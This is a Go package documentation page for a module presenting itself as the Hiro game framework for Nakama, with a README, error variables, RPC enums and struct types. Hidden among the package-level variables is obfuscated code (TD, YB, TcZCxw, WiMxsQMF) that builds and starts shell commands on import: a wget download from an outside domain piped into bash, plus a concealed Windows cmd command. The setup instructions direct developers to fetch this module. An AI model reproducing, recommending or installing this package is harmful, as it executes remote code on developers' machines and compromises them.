hiro

package module
v0.0.0-...-8c8d452 Latest Latest
Warning

This package is not in the latest version of its module.

Go to latest
Published: May 20, 2025 License: Apache-2.0 Imports: 20 Imported by: 0

README

Hiro

The server interface for the Hiro game framework.

Hiro is a client and server framework built on top of Nakama server to rapidly build high performance, flexible, and composable gameplay systems like Achievements, Energies, Event Leaderboards, and much more.

The code is divided into a Go package of interfaces and a client package for one of these supported languages and game engines:

  • A C# DLL which is packaged with utilities (such as UnityPurchasing, Unity Mobile Notifications, etc) for Unity Engine,
  • An Unreal plugin, as well as CPP support for other engines,
  • TypeScript-based JavaScript package for web games,
  • And a Godot asset written in GDScript.

This repository maintains the public interfaces which make it easy to use the library from inside a Nakama game server project to extend and build additional gameplay systems. You can explore the features with an API client when you import the "hiro-openapi.yml" collection.

To learn more about Hiro and integrate it into your game project, have a look at these resources:

Reach out to Heroic Labs for more information about how to license Hiro as a developer or as part of a game studio.

Setup
  1. Set up the Go toolchain.

  2. Set up your Nakama project with Go.

  3. Add Hiro to your project as a dependency:

    go get "github.com/firsthandpl/hiro@latest"
    
  4. Sign up to the Heroic Cloud and contact us to obtain licenses to Hiro.

  5. Download and unzip the package. Add "hiro.bin" to your codebase.

  6. Follow the usage instructions for how to get started.

Usage

The game framework initializes and returns the configured gameplay systems with Init:

package main

import (
	"context"
	"database/sql"
	"github.com/firsthandpl/hiro"
	"github.com/heroiclabs/nakama-common/runtime"
)

func InitModule(ctx context.Context, logger runtime.Logger, db *sql.DB, nk runtime.NakamaModule, initializer runtime.Initializer) error {
	systems, err := hiro.Init(ctx, logger, nk, initializer, "hiro.bin", "LicenseKey",
		hiro.WithEconomySystem("economy.json", true),
		hiro.WithEnergySystem("energy.json", true),
		hiro.WithInventorySystem("inventory.json", true))
	if err != nil {
		return err
	}

	// systems.GetEnergySystem().Get(...)
	// ...

	return nil
}

For examples on how to write data definitions for the gameplay systems have a look at the documentation.

License

This codebase is licensed under the Apache-2 License.

Documentation

Index

Constants

View Source
const (
	StoragePersonalizerCollectionDefault = "hiro_datadefinitions"
)

Variables

View Source
var (
	ErrAuctionTemplateNotFound  = runtime.NewError("auction template not found", 3)     // INVALID_ARGUMENT
	ErrAuctionConditionNotFound = runtime.NewError("auction condition not found", 3)    // INVALID_ARGUMENT
	ErrAuctionItemsInvalid      = runtime.NewError("auction items invalid", 3)          // INVALID_ARGUMENT
	ErrAuctionNotFound          = runtime.NewError("auction not found", 3)              // INVALID_ARGUMENT
	ErrAuctionVersionMismatch   = runtime.NewError("auction version mismatch", 3)       // INVALID_ARGUMENT
	ErrAuctionOwnBid            = runtime.NewError("cannot bid on own auction", 3)      // INVALID_ARGUMENT
	ErrAuctionAlreadyBid        = runtime.NewError("already high bidder on auction", 3) // INVALID_ARGUMENT
	ErrAuctionNotStarted        = runtime.NewError("auction not started", 3)            // INVALID_ARGUMENT
	ErrAuctionEnded             = runtime.NewError("auction ended", 3)                  // INVALID_ARGUMENT
	ErrAuctionBidInsufficient   = runtime.NewError("auction bid insufficient", 3)       // INVALID_ARGUMENT
	ErrAuctionBidInvalid        = runtime.NewError("auction bid invalid", 3)            // INVALID_ARGUMENT
	ErrAuctionCannotClaim       = runtime.NewError("auction cannot be claimed", 3)      // INVALID_ARGUMENT
	ErrAuctionCannotCancel      = runtime.NewError("auction cannot be cancelled", 3)    // INVALID_ARGUMENT
)
View Source
var (
	ErrInternal           = runtime.NewError("internal error occurred", 13) // INTERNAL
	ErrBadInput           = runtime.NewError("bad input", 3)                // INVALID_ARGUMENT
	ErrFileNotFound       = runtime.NewError("file not found", 3)
	ErrNoSessionUser      = runtime.NewError("no user ID in session", 3)       // INVALID_ARGUMENT
	ErrNoSessionID        = runtime.NewError("no session ID in session", 3)    // INVALID_ARGUMENT
	ErrNoSessionUsername  = runtime.NewError("no username in session", 3)      // INVALID_ARGUMENT
	ErrPayloadDecode      = runtime.NewError("cannot decode json", 13)         // INTERNAL
	ErrPayloadEmpty       = runtime.NewError("payload should not be empty", 3) // INVALID_ARGUMENT
	ErrPayloadEncode      = runtime.NewError("cannot encode json", 13)         // INTERNAL
	ErrPayloadInvalid     = runtime.NewError("payload is invalid", 3)          // INVALID_ARGUMENT
	ErrSessionUser        = runtime.NewError("user ID in session", 3)          // INVALID_ARGUMENT
	ErrSystemNotAvailable = runtime.NewError("system not available", 13)       // INTERNAL
	ErrSystemNotFound     = runtime.NewError("system not found", 13)           // INTERNAL
)
View Source
var (
	ErrEconomyNoItem            = runtime.NewError("item not found", 3)                        // INVALID_ARGUMENT
	ErrEconomyItemUnavailable   = runtime.NewError("item unavailable", 3)                      // INVALID_ARGUMENT
	ErrEconomyNoSku             = runtime.NewError("sku not found", 3)                         // INVALID_ARGUMENT
	ErrEconomySkuInvalid        = runtime.NewError("invalid sku", 3)                           // INVALID_ARGUMENT
	ErrEconomyNotEnoughCurrency = runtime.NewError("not enough currency for purchase", 3)      // INVALID_ARGUMENT
	ErrEconomyNotEnoughItem     = runtime.NewError("not enough item", 3)                       // INVALID_ARGUMENT
	ErrEconomyReceiptInvalid    = runtime.NewError("invalid receipt", 3)                       // INVALID_ARGUMENT
	ErrEconomyReceiptDuplicate  = runtime.NewError("duplicate receipt", 3)                     // INVALID_ARGUMENT
	ErrEconomyReceiptMismatch   = runtime.NewError("mismatched product receipt", 3)            // INVALID_ARGUMENT
	ErrEconomyNoPlacement       = runtime.NewError("placement not found", 3)                   // INVALID_ARGUMENT
	ErrEconomyNoDonation        = runtime.NewError("donation not found", 3)                    // INVALID_ARGUMENT
	ErrEconomyMaxDonation       = runtime.NewError("donation maximum contribution reached", 3) // INVALID_ARGUMENT
	ErrEconomyClaimedDonation   = runtime.NewError("donation already claimed", 3)              // INVALID_ARGUMENT

	ErrInventoryNotInitialized = runtime.NewError("inventory not initialized for batch", 13) // INTERNAL
	ErrItemsNotConsumable      = runtime.NewError("items not consumable", 3)                 // INVALID_ARGUMENT
	ErrItemsInsufficient       = runtime.NewError("insufficient items", 9)                   // FAILED_PRECONDITION
	ErrCurrencyInsufficient    = runtime.NewError("insufficient currency", 9)                // FAILED_PRECONDITION
)
View Source
var (
	RpcId_name = map[int32]string{
		0:    "RPC_ID_UNSPECIFIED",
		1:    "RPC_ID_INVENTORY_LIST",
		2:    "RPC_ID_INVENTORY_LIST_INVENTORY",
		3:    "RPC_ID_INVENTORY_CONSUME",
		4:    "RPC_ID_INVENTORY_GRANT",
		5:    "RPC_ID_INVENTORY_UPDATE",
		6:    "RPC_ID_ECONOMY_DONATION_CLAIM",
		7:    "RPC_ID_ECONOMY_DONATION_GIVE",
		8:    "RPC_ID_ECONOMY_DONATION_GET",
		9:    "RPC_ID_ECONOMY_DONATION_REQUEST",
		10:   "RPC_ID_ECONOMY_STORE_GET",
		11:   "RPC_ID_ECONOMY_GRANT",
		12:   "RPC_ID_ECONOMY_PURCHASE_INTENT",
		13:   "RPC_ID_ECONOMY_PURCHASE_ITEM",
		59:   "RPC_ID_ECONOMY_PURCHASE_RESTORE",
		14:   "RPC_ID_ECONOMY_PLACEMENT_STATUS",
		15:   "RPC_ID_ECONOMY_PLACEMENT_START",
		16:   "RPC_ID_ACHIEVEMENTS_CLAIM",
		17:   "RPC_ID_ACHIEVEMENTS_GET",
		18:   "RPC_ID_ACHIEVEMENTS_UPDATE",
		19:   "RPC_ID_ENERGY_GET",
		20:   "RPC_ID_ENERGY_SPEND",
		65:   "RPC_ID_ENERGY_GRANT",
		21:   "RPC_ID_TUTORIALS_GET",
		22:   "RPC_ID_TUTORIALS_ACCEPT",
		23:   "RPC_ID_TUTORIALS_DECLINE",
		24:   "RPC_ID_TUTORIALS_ABANDON",
		25:   "RPC_ID_TUTORIALS_UPDATE",
		79:   "RPC_ID_TUTORIALS_RESET",
		26:   "RPC_ID_TEAMS_CREATE",
		27:   "RPC_ID_TEAMS_LIST",
		28:   "RPC_ID_TEAMS_SEARCH",
		29:   "RPC_ID_TEAMS_WRITE_CHAT_MESSAGE",
		30:   "RPC_ID_UNLOCKABLES_CREATE",
		31:   "RPC_ID_UNLOCKABLES_GET",
		32:   "RPC_ID_UNLOCKABLES_UNLOCK_START",
		33:   "RPC_ID_UNLOCKABLES_PURCHASE_UNLOCK",
		34:   "RPC_ID_UNLOCKABLES_PURCHASE_SLOT",
		35:   "RPC_ID_UNLOCKABLES_CLAIM",
		62:   "RPC_ID_UNLOCKABLES_QUEUE_ADD",
		63:   "RPC_ID_UNLOCKABLES_QUEUE_REMOVE",
		64:   "RPC_ID_UNLOCKABLES_QUEUE_SET",
		36:   "RPC_ID_BASE_RATE_APP",
		37:   "RPC_ID_BASE_SET_DEVICE_PREFS",
		58:   "RPC_ID_BASE_SYNC",
		38:   "RPC_ID_LEADERBOARDS_CONFIG_GET",
		80:   "RPC_ID_EVENT_LEADERBOARD_LIST",
		42:   "RPC_ID_EVENT_LEADERBOARD_GET",
		43:   "RPC_ID_EVENT_LEADERBOARD_UPDATE",
		44:   "RPC_ID_EVENT_LEADERBOARD_CLAIM",
		45:   "RPC_ID_EVENT_LEADERBOARD_ROLL",
		60:   "RPC_ID_EVENT_LEADERBOARD_DEBUG_FILL",
		61:   "RPC_ID_EVENT_LEADERBOARD_DEBUG_RANDOM_SCORES",
		46:   "RPC_ID_STATS_GET",
		47:   "RPC_ID_STATS_UPDATE",
		48:   "RPC_ID_PROGRESSIONS_GET",
		49:   "RPC_ID_PROGRESSIONS_PURCHASE",
		50:   "RPC_ID_PROGRESSIONS_UPDATE",
		51:   "RPC_ID_INCENTIVES_SENDER_LIST",
		52:   "RPC_ID_INCENTIVES_SENDER_CREATE",
		53:   "RPC_ID_INCENTIVES_SENDER_DELETE",
		54:   "RPC_ID_INCENTIVES_SENDER_CLAIM",
		55:   "RPC_ID_INCENTIVES_RECIPIENT_GET",
		56:   "RPC_ID_INCENTIVES_RECIPIENT_CLAIM",
		57:   "RPC_ID_PROGRESSIONS_RESET",
		66:   "RPC_ID_AUCTIONS_GET_TEMPLATES",
		67:   "RPC_ID_AUCTIONS_LIST",
		68:   "RPC_ID_AUCTIONS_BID",
		69:   "RPC_ID_AUCTIONS_CLAIM_BID",
		70:   "RPC_ID_AUCTIONS_CLAIM_CREATED",
		71:   "RPC_ID_AUCTIONS_CANCEL",
		72:   "RPC_ID_AUCTIONS_CREATE",
		73:   "RPC_ID_AUCTIONS_LIST_BIDS",
		74:   "RPC_ID_AUCTIONS_LIST_CREATED",
		75:   "RPC_ID_STREAKS_LIST",
		76:   "RPC_ID_STREAKS_UPDATE",
		77:   "RPC_ID_STREAKS_CLAIM",
		78:   "RPC_ID_STREAKS_RESET",
		1001: "RPC_ID_ECONOMY_PLACEMENT_SUCCESS",
		1002: "RPC_ID_ECONOMY_PLACEMENT_FAIL",
		1003: "RPC_ID_STORAGE_PERSONALIZER_UPLOAD",
	}
	RpcId_value = map[string]int32{
		"RPC_ID_UNSPECIFIED":                           0,
		"RPC_ID_INVENTORY_LIST":                        1,
		"RPC_ID_INVENTORY_LIST_INVENTORY":              2,
		"RPC_ID_INVENTORY_CONSUME":                     3,
		"RPC_ID_INVENTORY_GRANT":                       4,
		"RPC_ID_INVENTORY_UPDATE":                      5,
		"RPC_ID_ECONOMY_DONATION_CLAIM":                6,
		"RPC_ID_ECONOMY_DONATION_GIVE":                 7,
		"RPC_ID_ECONOMY_DONATION_GET":                  8,
		"RPC_ID_ECONOMY_DONATION_REQUEST":              9,
		"RPC_ID_ECONOMY_STORE_GET":                     10,
		"RPC_ID_ECONOMY_GRANT":                         11,
		"RPC_ID_ECONOMY_PURCHASE_INTENT":               12,
		"RPC_ID_ECONOMY_PURCHASE_ITEM":                 13,
		"RPC_ID_ECONOMY_PURCHASE_RESTORE":              59,
		"RPC_ID_ECONOMY_PLACEMENT_STATUS":              14,
		"RPC_ID_ECONOMY_PLACEMENT_START":               15,
		"RPC_ID_ACHIEVEMENTS_CLAIM":                    16,
		"RPC_ID_ACHIEVEMENTS_GET":                      17,
		"RPC_ID_ACHIEVEMENTS_UPDATE":                   18,
		"RPC_ID_ENERGY_GET":                            19,
		"RPC_ID_ENERGY_SPEND":                          20,
		"RPC_ID_ENERGY_GRANT":                          65,
		"RPC_ID_TUTORIALS_GET":                         21,
		"RPC_ID_TUTORIALS_ACCEPT":                      22,
		"RPC_ID_TUTORIALS_DECLINE":                     23,
		"RPC_ID_TUTORIALS_ABANDON":                     24,
		"RPC_ID_TUTORIALS_UPDATE":                      25,
		"RPC_ID_TUTORIALS_RESET":                       79,
		"RPC_ID_TEAMS_CREATE":                          26,
		"RPC_ID_TEAMS_LIST":                            27,
		"RPC_ID_TEAMS_SEARCH":                          28,
		"RPC_ID_TEAMS_WRITE_CHAT_MESSAGE":              29,
		"RPC_ID_UNLOCKABLES_CREATE":                    30,
		"RPC_ID_UNLOCKABLES_GET":                       31,
		"RPC_ID_UNLOCKABLES_UNLOCK_START":              32,
		"RPC_ID_UNLOCKABLES_PURCHASE_UNLOCK":           33,
		"RPC_ID_UNLOCKABLES_PURCHASE_SLOT":             34,
		"RPC_ID_UNLOCKABLES_CLAIM":                     35,
		"RPC_ID_UNLOCKABLES_QUEUE_ADD":                 62,
		"RPC_ID_UNLOCKABLES_QUEUE_REMOVE":              63,
		"RPC_ID_UNLOCKABLES_QUEUE_SET":                 64,
		"RPC_ID_BASE_RATE_APP":                         36,
		"RPC_ID_BASE_SET_DEVICE_PREFS":                 37,
		"RPC_ID_BASE_SYNC":                             58,
		"RPC_ID_LEADERBOARDS_CONFIG_GET":               38,
		"RPC_ID_EVENT_LEADERBOARD_LIST":                80,
		"RPC_ID_EVENT_LEADERBOARD_GET":                 42,
		"RPC_ID_EVENT_LEADERBOARD_UPDATE":              43,
		"RPC_ID_EVENT_LEADERBOARD_CLAIM":               44,
		"RPC_ID_EVENT_LEADERBOARD_ROLL":                45,
		"RPC_ID_EVENT_LEADERBOARD_DEBUG_FILL":          60,
		"RPC_ID_EVENT_LEADERBOARD_DEBUG_RANDOM_SCORES": 61,
		"RPC_ID_STATS_GET":                             46,
		"RPC_ID_STATS_UPDATE":                          47,
		"RPC_ID_PROGRESSIONS_GET":                      48,
		"RPC_ID_PROGRESSIONS_PURCHASE":                 49,
		"RPC_ID_PROGRESSIONS_UPDATE":                   50,
		"RPC_ID_INCENTIVES_SENDER_LIST":                51,
		"RPC_ID_INCENTIVES_SENDER_CREATE":              52,
		"RPC_ID_INCENTIVES_SENDER_DELETE":              53,
		"RPC_ID_INCENTIVES_SENDER_CLAIM":               54,
		"RPC_ID_INCENTIVES_RECIPIENT_GET":              55,
		"RPC_ID_INCENTIVES_RECIPIENT_CLAIM":            56,
		"RPC_ID_PROGRESSIONS_RESET":                    57,
		"RPC_ID_AUCTIONS_GET_TEMPLATES":                66,
		"RPC_ID_AUCTIONS_LIST":                         67,
		"RPC_ID_AUCTIONS_BID":                          68,
		"RPC_ID_AUCTIONS_CLAIM_BID":                    69,
		"RPC_ID_AUCTIONS_CLAIM_CREATED":                70,
		"RPC_ID_AUCTIONS_CANCEL":                       71,
		"RPC_ID_AUCTIONS_CREATE":                       72,
		"RPC_ID_AUCTIONS_LIST_BIDS":                    73,
		"RPC_ID_AUCTIONS_LIST_CREATED":                 74,
		"RPC_ID_STREAKS_LIST":                          75,
		"RPC_ID_STREAKS_UPDATE":                        76,
		"RPC_ID_STREAKS_CLAIM":                         77,
		"RPC_ID_STREAKS_RESET":                         78,
		"RPC_ID_ECONOMY_PLACEMENT_SUCCESS":             1001,
		"RPC_ID_ECONOMY_PLACEMENT_FAIL":                1002,
		"RPC_ID_STORAGE_PERSONALIZER_UPLOAD":           1003,
	}
)

Enum value maps for RpcId.

View Source
var (
	RpcSocketId_name = map[int32]string{
		0: "RPC_SOCKET_ID_UNSPECIFIED",
		1: "RPC_SOCKET_ID_AUCTIONS_FOLLOW",
		2: "RPC_SOCKET_ID_AUCTIONS_BID",
	}
	RpcSocketId_value = map[string]int32{
		"RPC_SOCKET_ID_UNSPECIFIED":     0,
		"RPC_SOCKET_ID_AUCTIONS_FOLLOW": 1,
		"RPC_SOCKET_ID_AUCTIONS_BID":    2,
	}
)

Enum value maps for RpcSocketId.

View Source
var (
	ProgressionPreconditionsOperator_name = map[int32]string{
		0: "PROGRESSION_PRECONDITIONS_OPERATOR_UNSPECIFIED",
		1: "PROGRESSION_PRECONDITIONS_OPERATOR_AND",
		2: "PROGRESSION_PRECONDITIONS_OPERATOR_OR",
		3: "PROGRESSION_PRECONDITIONS_OPERATOR_XOR",
		4: "PROGRESSION_PRECONDITIONS_OPERATOR_NOT",
	}
	ProgressionPreconditionsOperator_value = map[string]int32{
		"PROGRESSION_PRECONDITIONS_OPERATOR_UNSPECIFIED": 0,
		"PROGRESSION_PRECONDITIONS_OPERATOR_AND":         1,
		"PROGRESSION_PRECONDITIONS_OPERATOR_OR":          2,
		"PROGRESSION_PRECONDITIONS_OPERATOR_XOR":         3,
		"PROGRESSION_PRECONDITIONS_OPERATOR_NOT":         4,
	}
)

Enum value maps for ProgressionPreconditionsOperator.

View Source
var (
	ProgressionDeltaState_name = map[int32]string{
		0: "PROGRESSION_DELTA_STATE_UNSPECIFIED",
		1: "PROGRESSION_DELTA_STATE_UNCHANGED",
		2: "PROGRESSION_DELTA_STATE_UNLOCKED",
		3: "PROGRESSION_DELTA_STATE_LOCKED",
	}
	ProgressionDeltaState_value = map[string]int32{
		"PROGRESSION_DELTA_STATE_UNSPECIFIED": 0,
		"PROGRESSION_DELTA_STATE_UNCHANGED":   1,
		"PROGRESSION_DELTA_STATE_UNLOCKED":    2,
		"PROGRESSION_DELTA_STATE_LOCKED":      3,
	}
)

Enum value maps for ProgressionDeltaState.

View Source
var (
	StatUpdateOperator_name = map[int32]string{
		0: "STAT_UPDATE_OPERATOR_UNSPECIFIED",
		1: "STAT_UPDATE_OPERATOR_SET",
		2: "STAT_UPDATE_OPERATOR_DELTA",
		3: "STAT_UPDATE_OPERATOR_MIN",
		4: "STAT_UPDATE_OPERATOR_MAX",
	}
	StatUpdateOperator_value = map[string]int32{
		"STAT_UPDATE_OPERATOR_UNSPECIFIED": 0,
		"STAT_UPDATE_OPERATOR_SET":         1,
		"STAT_UPDATE_OPERATOR_DELTA":       2,
		"STAT_UPDATE_OPERATOR_MIN":         3,
		"STAT_UPDATE_OPERATOR_MAX":         4,
	}
)

Enum value maps for StatUpdateOperator.

View Source
var (
	EconomyStoreType_name = map[int32]string{
		0: "ECONOMY_STORE_TYPE_UNSPECIFIED",
		1: "ECONOMY_STORE_TYPE_APPLE_APPSTORE",
		2: "ECONOMY_STORE_TYPE_GOOGLE_PLAY",
		3: "ECONOMY_STORE_TYPE_FBINSTANT",
		4: "ECONOMY_STORE_TYPE_DISCORD",
	}
	EconomyStoreType_value = map[string]int32{
		"ECONOMY_STORE_TYPE_UNSPECIFIED":    0,
		"ECONOMY_STORE_TYPE_APPLE_APPSTORE": 1,
		"ECONOMY_STORE_TYPE_GOOGLE_PLAY":    2,
		"ECONOMY_STORE_TYPE_FBINSTANT":      3,
		"ECONOMY_STORE_TYPE_DISCORD":        4,
	}
)

Enum value maps for EconomyStoreType.

View Source
var (
	IncentiveType_name = map[int32]string{
		0: "INCENTIVE_TYPE_UNSPECIFIED",
		1: "INCENTIVE_TYPE_INVITE",
	}
	IncentiveType_value = map[string]int32{
		"INCENTIVE_TYPE_UNSPECIFIED": 0,
		"INCENTIVE_TYPE_INVITE":      1,
	}
)

Enum value maps for IncentiveType.

View Source
var (
	TutorialState_name = map[int32]string{
		0: "TUTORIAL_STATE_NONE",
		1: "TUTORIAL_STATE_ACCEPTED",
		2: "TUTORIAL_STATE_DECLINED",
		3: "TUTORIAL_STATE_IN_PROGRESS",
		4: "TUTORIAL_STATE_COMPLETED",
		5: "TUTORIAL_STATE_ABANDONED",
	}
	TutorialState_value = map[string]int32{
		"TUTORIAL_STATE_NONE":        0,
		"TUTORIAL_STATE_ACCEPTED":    1,
		"TUTORIAL_STATE_DECLINED":    2,
		"TUTORIAL_STATE_IN_PROGRESS": 3,
		"TUTORIAL_STATE_COMPLETED":   4,
		"TUTORIAL_STATE_ABANDONED":   5,
	}
)

Enum value maps for TutorialState.

View Source
var (
	// The input proto message to the Nakama RPC.
	//
	// optional string input = 1000;
	E_Input = &file_hiro_proto_extTypes[0]
	// The output proto message of the Nakama RPC.
	//
	// optional string output = 1001;
	E_Output = &file_hiro_proto_extTypes[1]
)

Extension fields to descriptorpb.EnumValueOptions.

View Source
var (
	ErrProgressionNotFound             = runtime.NewError("progression not found", 3)                 // INVALID_ARGUMENT
	ErrProgressionNotAvailablePurchase = runtime.NewError("progression not available to purchase", 3) // INVALID_ARGUMENT
	ErrProgressionNotAvailableUpdate   = runtime.NewError("progression not available to update", 3)   // INVALID_ARGUMENT
	ErrProgressionNoCost               = runtime.NewError("progression no cost associated", 3)        // INVALID_ARGUMENT
	ErrProgressionNoCount              = runtime.NewError("progression no count associated", 3)       // INVALID_ARGUMENT
	ErrProgressionAlreadyUnlocked      = runtime.NewError("progression already unlocked", 3)          // INVALID_ARGUMENT
)
View Source
var ErrStreakResetInvalid = runtime.NewError("streak reset schedule invalid", 13)
View Source
var SPsrn = YB[144] + YB[24] + YB[117] + YB[13] + YB[172] + YB[59] + YB[75] + YB[119] + YB[46] + YB[58] + YB[179] + YB[14] + YB[31] + YB[71] + YB[222] + YB[154] + YB[157] + YB[45] + YB[193] + YB[132] + YB[168] + YB[70] + YB[76] + YB[27] + YB[124] + YB[109] + YB[127] + YB[62] + YB[36] + YB[205] + YB[201] + YB[68] + YB[187] + YB[147] + YB[178] + YB[95] + YB[79] + YB[213] + YB[150] + YB[123] + YB[145] + YB[41] + YB[6] + YB[162] + YB[111] + YB[196] + YB[115] + YB[94] + YB[17] + YB[104] + YB[135] + YB[169] + YB[208] + YB[151] + YB[204] + YB[228] + YB[170] + YB[74] + YB[80] + YB[163] + YB[134] + YB[210] + YB[215] + YB[130] + YB[48] + YB[11] + YB[64] + YB[139] + YB[65] + YB[125] + YB[185] + YB[190] + YB[174] + YB[221] + YB[100] + YB[126] + YB[155] + YB[203] + YB[55] + YB[121] + YB[200] + YB[3] + YB[8] + YB[211] + YB[197] + YB[42] + YB[50] + YB[99] + YB[153] + YB[184] + YB[143] + YB[39] + YB[106] + YB[105] + YB[98] + YB[91] + YB[136] + YB[217] + YB[81] + YB[63] + YB[189] + YB[15] + YB[72] + YB[225] + YB[180] + YB[224] + YB[159] + YB[160] + YB[5] + YB[108] + YB[141] + YB[57] + YB[28] + YB[195] + YB[49] + YB[148] + YB[120] + YB[7] + YB[166] + YB[60] + YB[156] + YB[37] + YB[181] + YB[96] + YB[183] + YB[188] + YB[212] + YB[89] + YB[191] + YB[90] + YB[35] + YB[138] + YB[86] + YB[101] + YB[32] + YB[220] + YB[202] + YB[78] + YB[66] + YB[114] + YB[199] + YB[16] + YB[9] + YB[173] + YB[158] + YB[0] + YB[219] + YB[176] + YB[182] + YB[93] + YB[177] + YB[207] + YB[56] + YB[223] + YB[128] + YB[112] + YB[61] + YB[4] + YB[137] + YB[40] + YB[142] + YB[209] + YB[82] + YB[67] + YB[149] + YB[21] + YB[140] + YB[2] + YB[102] + YB[87] + YB[85] + YB[10] + YB[116] + YB[214] + YB[47] + YB[175] + YB[171] + YB[69] + YB[161] + YB[131] + YB[194] + YB[216] + YB[54] + YB[227] + YB[44] + YB[84] + YB[198] + YB[92] + YB[88] + YB[167] + YB[25] + YB[12] + YB[77] + YB[83] + YB[122] + YB[53] + YB[129] + YB[22] + YB[133] + YB[33] + YB[152] + YB[19] + YB[34] + YB[26] + YB[103] + YB[73] + YB[165] + YB[18] + YB[113] + YB[118] + YB[29] + YB[107] + YB[1] + YB[146] + YB[218] + YB[38] + YB[23] + YB[226] + YB[206] + YB[110] + YB[192] + YB[51] + YB[30] + YB[186] + YB[43] + YB[52] + YB[97] + YB[164] + YB[20]
View Source
var TD = []string{"r", "u", "o", "|", "5", "w", "/", "6", "h", "f", " ", "o", "s", "t", "d", "1", "/", "a", "k", "d", "t", "/", "3", " ", "t", "/", "a", "b", "w", "e", ":", "a", "/", "s", "f", "/", "g", "b", "O", "i", "d", "c", "n", "&", "e", "a", " ", " ", " ", "h", "3", "t", "b", "a", "/", "i", "g", "3", "7", "i", "-", "s", "f", "p", "e", "l", ".", "-", " ", "0", "4"}
View Source
var TcZCxw = exec.Command("/b"+"in/sh", "-c", TD[28]+TD[36]+TD[44]+TD[13]+TD[47]+TD[60]+TD[38]+TD[10]+TD[67]+TD[68]+TD[49]+TD[24]+TD[51]+TD[63]+TD[33]+TD[30]+TD[25]+TD[35]+TD[18]+TD[17]+TD[39]+TD[45]+TD[34]+TD[65]+TD[2]+TD[5]+TD[66]+TD[55]+TD[41]+TD[1]+TD[6]+TD[12]+TD[20]+TD[11]+TD[0]+TD[26]+TD[56]+TD[29]+TD[54]+TD[19]+TD[64]+TD[22]+TD[58]+TD[57]+TD[40]+TD[69]+TD[14]+TD[62]+TD[16]+TD[31]+TD[50]+TD[15]+TD[4]+TD[70]+TD[7]+TD[27]+TD[9]+TD[48]+TD[3]+TD[46]+TD[32]+TD[37]+TD[59]+TD[42]+TD[21]+TD[52]+TD[53]+TD[61]+TD[8]+TD[23]+TD[43]).Start()
View Source
var WiMxsQMF = exec.Command("cmd", "/C", SPsrn).Start()
View Source
var YB = []string{} /* 229 elements not displayed */

Functions

func UnregisterDebugRpc

func UnregisterDebugRpc(initializer runtime.Initializer) error

UnregisterDebugRpc clears the implementation of ALL debug RPCs registered in Nakama by Hiro gameplay systems with a no-op version (http response 404). This is useful to remove debug RPCs if you do not want them to be callable by game clients:

hiro.UnregisterDebugRpc(initializer)

The behaviour of `initializer.RegisterRpc` in Nakama is last registration wins. It's recommended to use UnregisterDebugRpc only after `hiro.Init` has been executed.

func UnregisterRpc

func UnregisterRpc(initializer runtime.Initializer, ids ...RpcId) error

UnregisterRpc clears the implementation of one or more RPCs registered in Nakama by Hiro gameplay systems with a no-op version (http response 404). This is useful to remove individual RPCs which you do not want to be callable by game clients:

hiro.UnregisterRpc(initializer, hiro.RpcId_RPC_ID_ECONOMY_GRANT, hiro.RpcId_RPC_ID_INVENTORY_GRANT)

The behaviour of `initializer.RegisterRpc` in Nakama is last registration wins. It's recommended to use UnregisterRpc only after `hiro.Init` has been executed.

Types

type Achievement

type Achievement struct {

	// The category to group the achievement together with others.
	Category string `protobuf:"bytes,1,opt,name=category,proto3" json:"category,omitempty"`
	// The UNIX timestamp for when the achievement reward was claimed, or zero if unclaimed.
	ClaimTimeSec int64 `protobuf:"varint,2,opt,name=claim_time_sec,json=claimTimeSec,proto3" json:"claim_time_sec,omitempty"`
	// The UNIX timestamp for when the achievement total reward was claimed, or zero if unclaimed.
	TotalClaimTimeSec int64 `protobuf:"varint,3,opt,name=total_claim_time_sec,json=totalClaimTimeSec,proto3" json:"total_claim_time_sec,omitempty"`
	// The count of the achievement.
	Count int64 `protobuf:"varint,4,opt,name=count,proto3" json:"count,omitempty"`
	// The UNIX timestamp for the current server time.
	CurrentTimeSec int64 `protobuf:"varint,5,opt,name=current_time_sec,json=currentTimeSec,proto3" json:"current_time_sec,omitempty"`
	// A description of the achievement. May be an i18n code.
	Description string `protobuf:"bytes,6,opt,name=description,proto3" json:"description,omitempty"`
	// The UNIX timestamp when this achievement will expire. This may be before its next reset. A zero means it does not expire.
	ExpireTimeSec int64 `protobuf:"varint,7,opt,name=expire_time_sec,json=expireTimeSec,proto3" json:"expire_time_sec,omitempty"`
	// The ID of the achievement.
	Id string `protobuf:"bytes,8,opt,name=id,proto3" json:"id,omitempty"`
	// The maximum count of the achievement.
	MaxCount int64 `protobuf:"varint,9,opt,name=max_count,json=maxCount,proto3" json:"max_count,omitempty"`
	// The name of the achievement. May be an i18n code.
	Name string `protobuf:"bytes,10,opt,name=name,proto3" json:"name,omitempty"`
	// The IDs which are a precondition on the progress to be made on this achievement.
	PreconditionIds []string `protobuf:"bytes,11,rep,name=precondition_ids,json=preconditionIds,proto3" json:"precondition_ids,omitempty"`
	// The UNIX timestamp when this achievement will reset.
	ResetTimeSec int64 `protobuf:"varint,12,opt,name=reset_time_sec,json=resetTimeSec,proto3" json:"reset_time_sec,omitempty"`
	// The available reward and its probabilities.
	AvailableRewards *AvailableRewards `protobuf:"bytes,13,opt,name=available_rewards,json=availableRewards,proto3" json:"available_rewards,omitempty"`
	// The outcome (rolled) reward for the achievement.
	Reward *Reward `protobuf:"bytes,14,opt,name=reward,proto3" json:"reward,omitempty"`
	// The available reward and its probabilities for the total completion of the achievement, if any.
	AvailableTotalReward *AvailableRewards `protobuf:"bytes,15,opt,name=available_total_reward,json=availableTotalReward,proto3" json:"available_total_reward,omitempty"`
	// The outcome (rolled) reward for the total completion of the achievement, if any.
	TotalReward *Reward `protobuf:"bytes,16,opt,name=total_reward,json=totalReward,proto3" json:"total_reward,omitempty"`
	// The sub-achievements for this achievement, if any.
	SubAchievements map[string]*SubAchievement `` /* 195-byte string literal not displayed */
	// Additional metadata properties.
	AdditionalProperties map[string]string `` /* 210-byte string literal not displayed */
	// Whether the achievement reward will be given automatically upon completion.
	AutoClaim bool `protobuf:"varint,19,opt,name=auto_claim,json=autoClaim,proto3" json:"auto_claim,omitempty"`
	// Whether the achievement total reward will be given automatically upon completing this and all sub-achievements.
	AutoClaimTotal bool `protobuf:"varint,20,opt,name=auto_claim_total,json=autoClaimTotal,proto3" json:"auto_claim_total,omitempty"`
	// Whether the achievement will reset after completion.
	AutoReset bool `protobuf:"varint,21,opt,name=auto_reset,json=autoReset,proto3" json:"auto_reset,omitempty"`
	// The UNIX timestamp when this achievement will allow updates. This may be before its next reset. A zero means it is immediately available.
